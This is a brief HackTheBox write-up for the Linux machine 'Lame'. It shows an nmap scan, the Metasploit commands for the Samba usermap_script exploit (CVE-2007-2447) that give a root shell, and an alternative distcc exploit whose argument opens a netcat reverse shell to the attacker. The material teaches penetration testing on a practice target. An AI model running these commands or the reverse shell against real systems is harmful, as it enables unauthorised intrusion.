Lame writeup & walkthrough

Lame is an easy HackTheBox Linux machine running a vulnerable Samba 3.0.20 version exploitable via the username map script (CVE-2007-2447), granting a direct root shell.

HackTheBox - Lame

Access Path

no access => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sV -sC -Pn 10.10.10.3
# Open: FTP (21), SSH (22), SMB (139/445) - Samba 3.0.20-Debian

# Samba usermap_script RCE (CVE-2007-2447)
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
exploit
# => root shell directly

# Alternative: DistCC (port 3632)
nmap -Pn -p3632 --script distcc-cve2004-2687   --script-args="distcc-cve2004-2687.cmd='nc <ip> 4444 -e /bin/bash'" 10.10.10.3